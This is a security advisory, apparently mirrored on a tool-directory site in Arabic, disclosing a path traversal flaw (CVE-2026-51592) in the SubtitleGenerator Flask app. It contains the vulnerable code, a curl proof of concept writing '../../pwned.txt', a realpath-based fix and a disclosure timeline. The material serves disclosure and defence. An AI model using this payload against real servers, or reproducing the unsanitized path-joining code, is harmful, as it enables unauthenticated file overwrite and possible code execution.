Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/ardakrg/cve-2026-51592
تحليل الثغرات الأمنيةأمن الويبالأوراق والأبحاثالتعلم والتعليمموارد منسقة
GitHubardakrg/cve-2026-51592

CVE-2026-51592

ثغرة اجتياز المسار في TahaBakhtari/SubtitleGenerator - CVE-2026-51592

عرض المستودع
منذ 27 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-51592 — تجاوز المسار في TahaBakhtari/SubtitleGenerator

ملخص

توجد ثغرة تجاوز مسار (Path Traversal) في نقطة النهاية /update_subtitle في TahaBakhtari/SubtitleGenerator. تقبل نقطة النهاية معامل file_name من عميل غير مصادَق وتدمجه مع دليل أساسي ثابت باستخدام os.path.join() دون تعقيم تسلسلات تجاوز المسار. ونتيجة لذلك، يمكن لمهاجم بعيد غير مصادَق كتابة ملفات تعسفية خارج الدليل المخصص data/subtitles/، ضمن صلاحيات العملية الجارية.

المنتج المتأثر

  • المنتج: SubtitleGenerator
  • المستودع: https://github.com/TahaBakhtari/SubtitleGenerator
  • الإصدار المتأثر: commit 2e2553a (الأحدث وقت الاختبار)
  • المكوّن المتأثر: app.py، دالة update_subtitle (الأسطر 225–238)

التفاصيل

root@kitploit:~
@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
    file_type = request.form.get('file_type', 'srt')
    new_content = request.form.get('new_content')
    file_name = request.form.get('file_name')

    if not file_name:
        return jsonify({'status': 'error', 'message': '...'}), 400

    file_path = os.path.join("data/subtitles", file_name)

    try:
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(new_content)
        return jsonify({'status': 'success', 'message': '...'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

يُستخدم معامل file_name لبناء مسار ملف دون أي تحقق. يمكن للمهاجم توفير قيمة مثل ../../pwned.txt للخروج من دليل data/subtitles/ والكتابة إلى أي موقع تملك العملية صلاحية الكتابة إليه.

افتراضيًا، يرتبط التطبيق بـ 0.0.0.0:5000 (انظر app.py)، مما يعني أنه قابل للوصول عبر الشبكة وغير مقيّد بـ localhost.

CWE

CWE-22: التقييد غير السليم لاسم المسار إلى دليل مقيّد ('Path Traversal')

الأثر

  • كتابة ملفات تعسفية ضمن صلاحيات عملية Flask

  • استبدال ملفات الإعداد أو ملفات التطبيق الموجودة

  • احتمال استبدال ملفات الكود المصدري للتطبيق (مثل app.py)، مما قد يؤدي إلى تنفيذ تعليمات برمجية عند إعادة التشغيل التالية

  • حرمان من الخدمة من خلال إتلاف ملفات حرجة

  • ناقل الهجوم: عن بُعد

  • المصادقة المطلوبة: لا

  • تفاعل المستخدم المطلوب: لا

  • الخطورة (مبدئيًا): عالية

إثبات الفكرة

root@kitploit:~
curl -X POST "http://target:5000/update_subtitle" \
  --data "file_name=../../pwned.txt&new_content=HACKED"

الاستجابة:

root@kitploit:~
{"status": "success", "message": "..."}

التحقق على الخادم:

root@kitploit:~
$ ls
... pwned.txt ...

$ cat pwned.txt
HACKED

يُكتب الملف pwned.txt إلى الدليل الجذر للمشروع، بمستويين فوق الدليل المخصص data/subtitles/ — مما يؤكد تجاوز المسار.

انظر poc.sh للحصول على نسخة قابلة للتشغيل من إثبات الفكرة.

المعالجة

تحقق من أن المسار المُحلَّل يبقى ضمن data/subtitles/ باستخدام os.path.realpath() قبل فتح الملف:

root@kitploit:~
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))

if not target.startswith(base_dir + os.sep):
    return jsonify({'status': 'error', 'message': 'invalid filename'}), 400

file_path = target

يضمن ذلك أن المسار الناتج يُحل دائمًا داخل data/subtitles/، مما يمنع فعليًا تسلسلات التجاوز مثل ../../.

الترقيع الكامل متاح في patch.diff. تم تنفيذ هذا الإصلاح والتحقق منه ضد نسخة اختبار محلية: الحمولة نفسها المستخدمة في إثبات الفكرة أعلاه تعيد الآن خطأ "invalid filename" بدلاً من كتابة الملف.

الجدول الزمني

  • 2026-04-26 — تم الإبلاغ عن الثغرة إلى المطوّر عبر البريد الإلكتروني (العنوان المدرج في ملف تعريف المطوّر على GitHub)
  • 2026-06-25 — تم حجز معرف CVE بواسطة فريق تخصيص CVE في MITRE
  • 2026-07-24 — لم يتم تلقي رد من المطوّر؛ إفصاح علني (بعد 90 يومًا من التقرير الأولي)

الإسناد

اكتشفها وأبلغ عنها Arda Kuruoglu.

سياسة الإفصاح

تم الإفصاح عن هذه الثغرة وفقًا لجدول زمني للإفصاح المسؤول مدته 90 يومًا، ابتداءً من تاريخ التقرير الأولي إلى المطوّر.

الملفات في هذا المستودع

  • README.md — هذا التقرير
  • poc.sh — سكريبت إثبات الفكرة الذي يوضح الثغرة
  • patch.diff — الترقيع المقترح، تم التحقق منه ضد نسخة اختبار محلية

الترخيص

هذا التقرير والملفات المرافقة مُصدَرة بموجب رخصة MIT.

تنزيل الأداة